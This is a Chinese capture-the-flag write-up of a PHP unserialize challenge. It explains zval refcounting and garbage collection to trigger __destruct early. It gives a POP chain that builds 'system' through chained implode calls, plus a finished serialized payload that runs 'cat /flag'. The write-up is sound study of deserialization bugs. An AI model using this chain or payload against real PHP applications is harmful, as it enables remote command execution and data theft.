通过一道题来边看边讲php中的zval容器和gc回收机制
ezpop
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
这道题的pop链非常的明确
xy->CCC.__destruct()->AAA.__tostring->BBB.__get()
比较难想的一共有两个点,其一是如何通过call_user_function来调用系统函数,他的嵌套比较复杂.
这里我们可以利用php中的implode函数,作用是将一个数组中的所有值作为一个字符串来穿起来,并返回该字符串.我们看一个自己设计的例子
<?php
$a='implode';
$b=array('shell1'=>'im','shell2'=>'plode');
$c=array('sys','tem');
$d='dir';
call_user_func($a, $b)($c)($d);
//输出当前目录
我们可以通过这个构造方法来实现最后的执行.
第二个问题,如何解决一个throw new Exception("noooooob!!!");
在to_string中,如果返回的不是字符串,那么就会出现报错,而如果出现报错,那么就会抛出错误并结束程序,那么就无法执行到系统命令.
这里我们需要了解php的gc回收机制.
引用计数
当我们PHP创建一个变量时,这个变量会被存储在一个名为zval
的变量容器中。在这个zval
变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。
struct _zval_struct {
zvalue_value value; /* value */
zend_uint refcount__gc; /* value of ref count */
zend_uchar type; /* active type */
zend_uchar is_ref__gc; /* if it is a ref variable */
};
typedef struct _zval_struct zval;
第一个字节名为is_ref
,是bool
值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&
来使用自定义引用,zval
变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个字节是refcount
,它用来表示指向zval
变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。
看接下来的这个例子
<?php
$a = "new string";
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>
我们可以看到这里定义了一个变量$a
,生成了类型为String
和值为new string
的变量容器,而对于两个额外的字节,is_ref
和refcount
,我们这里可以看到是不存在引用的,所以is_ref
的值应该是false,而refcount
是表示变量个数的,那么这里就应该是1,接下来我们验证一下
接下来我们添加一个引用
<?php
$a="new string";
$b =&$a;
xdebug_debug_zval('a');
?>
按照之前的思路,每生成一个变量就有一个zval
记录其类型和值以及两个额外字节,那我们这里的话a的refcount
应该是2,is_ref
应该是true
,接下来我们验证一下
接下来说一下容器的销毁这个事。
变量容器在refcount
变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount
就会减1。
看个例子
<?php
$a="new string";
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>
按照刚刚所说,那么这里的首次输出的is_ref
应该是true
,refcount
为3。
第二次输出的is_ref
值是什么呢,我们可以看到引用$a
的变量$b
和$c
都被unset
了,所以这里的is_ref
应该是false
,也是因为unset
,这里的refcount
应该从3
变成了1
,接下来验证一下
一般来说一个对象的zval容器是在程序结束以后会被销毁回收,从而触发__destruct魔术方法,那么有没有办法提前触发,从而在执行throw new Exception("noooooob!!!");
之前成功的getshell呢?答案是有的,如果我能够使得$a
的zval容器中的一个refcount为0,那么就能提前将其销毁,类似unset的用法.
我们可以设置一个数组,数组中的第一个变量是我们需要的对象,第二个变量是一个字符串.然后我们在反序列化结束以后将其长度改为0,也就是直接不设长度,那么就会在反序列化之后使得$a
的zval容器的refcount值变为0,从而这个zval容器销毁,在不触发错误检查时进行反序列化攻击.
$a=new BBB();
$a->c=array('sys','tem');
$a->d='cat /flag';
$b=new AAA();
$b->s=$a;
$b->a='helloworld';
$c=new CCC();
$c->c=$b;
$d=array($c,0);
echo serialize($d);
//post传参 a=implode&shell1=im&shell2=plode
然后在得到结果以后将后面的0的长度改为0即可
payload如下
?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";a:2:{i:0;s:3:"sys";i:1;s:3:"tem";}s:1:"d";s:9:"cat /flag";}s:1:"a";s:10:"helloworld";}}i:0;i:0;}
倒数第7个字符串原本是1;
标签:容器,php,变量,refcount,zval,gc,new,序列化,ref From: https://www.cnblogs.com/merak-lbz/p/18169697